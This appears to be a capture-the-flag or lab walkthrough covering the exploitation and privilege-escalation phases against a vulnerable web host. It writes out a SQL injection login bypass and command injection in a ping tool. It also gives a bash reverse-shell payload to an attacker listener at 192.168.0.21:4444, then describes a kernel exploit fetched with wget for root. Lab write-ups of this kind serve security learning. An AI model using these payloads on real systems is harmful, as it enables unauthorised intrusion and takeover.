🔥EXPLOITATION🔥
At this point i decided to start fuzzing the login page to try and find an injection flaw. I was able to successfully login using the value below in the username and password fields.
' or 1=1--
This gives us a little ping tool.
Supply it an IP address and it will ping it displaying the console output in the browser
Looks like more *injection is present when we try the following
127.0.0.1; whoami
Lets try get a shell😋
netcat listener is setup on the attacking kali machine (192.168.0.21).
nc -nlvp 4444
Now we inject our payload
127.0.0.1; bash -i >& /dev/tcp/192.168.0.21/4444 0>&1
Boom! we get a shell but its as a low privileged user apache
🔥PRIV ESCULATION🔥
we want root!
using g0m1lks privilege escalation guide we start to look for a way to escalate

I noticed the target is running a vulnerable Linux kernel
searchsploit was used to find a priv esc exploit
The exploit was downloaded and transferred over to the target using wget
compiled using gcc on the target
execute
got root 😎😎😎
